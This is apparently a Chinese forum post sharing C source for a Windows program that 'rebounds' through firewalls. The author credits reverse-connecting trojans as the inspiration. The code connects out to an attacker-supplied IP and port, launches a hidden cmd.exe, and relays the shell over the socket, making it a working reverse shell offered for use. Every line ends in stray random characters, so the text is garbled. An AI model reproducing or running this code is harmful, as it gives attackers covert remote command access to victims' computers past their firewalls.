这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 SM1L^M3)
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/* ============================== Z:^ S-h
Rebound port in Windows NT ~=I:go
By wind,2006/7 [KCR@__
===============================*/ )1YX+',"
#include `Y^l.%AZZ
#include *aq"c9
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#pragma comment(lib,"wsock32.lib") ,9MNB3
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void OutputShell(); wEN[o18{
SOCKET sClient; suYbD!`(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6G}4KGQc
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void main(int argc,char **argv) $sUn'62JlU
{ 1f'msy/
WSADATA stWsaData; *Vg) E*s
int nRet; H}q$6WE
SOCKADDR_IN stSaiClient,stSaiServer; 5X9L h_p
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if(argc != 3) VDxF%!h(
{ 27}7
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printf("Useage:\n\rRebound DestIP DestPort\n"); fn.;C
return; %$'fq*8b
} REh\WgV!u
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WSAStartup(MAKEWORD(2,2),&stWsaData); r'lANl-v
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jc\y{ I\
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stSaiClient.sin_family = AF_INET; C7f*Q[
stSaiClient.sin_port = htons(0); {+[Ex2b$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VvT7v]
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UoUQ6Ij
{ tR2%oT>h
printf("Bind Socket Failed!\n"); >3~)2)Q
return; 7%[ YX
} e Qk5:{[
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stSaiServer.sin_family = AF_INET; -@Urq>^v T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u^#e7u
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =BJe}AV
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,}"jiGgS4
{ Hs_7oy|P
printf("Connect Error!"); ZLdIEBi=
return; qQ6@43TC
} *-uzsq.W
OutputShell(); @1<VvW=
} tkkh<5{C
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void OutputShell() s:(z;cj/
{ %iJ}H6m
char szBuff[1024]; ,V^$Meh
SECURITY_ATTRIBUTES stSecurityAttributes; o^MoU2c
OSVERSIONINFO stOsversionInfo; `e?~c'a@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K5t.OAA:
STARTUPINFO stStartupInfo; pU[yr'D.r
char *szShell; )qOcx
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PROCESS_INFORMATION stProcessInformation; F%af05L[
unsigned long lBytesRead; tmM; Z(9t
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j)Kd'Va
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m6]6!_
stSecurityAttributes.lpSecurityDescriptor = 0; c@)?V>oe
stSecurityAttributes.bInheritHandle = TRUE; b`,Sd.2=('
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^tI&5S]nE
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UO!} 0'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [9:";JSl"Y
stStartupInfo.wShowWindow = SW_HIDE; ,?Zy4-
stStartupInfo.hStdInput = hReadPipe; /L@6Ae
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; IN;9p w
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GetVersionEx(&stOsversionInfo); K[
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switch(stOsversionInfo.dwPlatformId) v&3"(fp
{ $b2~H+u(
case 1: u47`&\
szShell = "command.com"; o_[~{@ RoR
break; [?;L
default: C3~~h|:
szShell = "cmd.exe"; G ;ZN>8NB
break; 7Kb&BF|Q
} rc~)%M<[2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 51H6
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send(sClient,szMsg,77,0); bAuiMw7!
while(1) bn5O2
{ UQ7La 7"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aGsO~ODc
if(lBytesRead) +aPe)U<t
{ ~Fl\c-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]#rV]As
send(sClient,szBuff,lBytesRead,0); O,
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} RL/7>YQ
else D`X<b4e8/
{ F MYcZ+4
lBytesRead=recv(sClient,szBuff,1024,0); !r/~D |
if(lBytesRead<=0) break; NLYf
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x!pd50-
} &jQqlQ j
} N2k{@DY
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return; D!Nc&|X^
}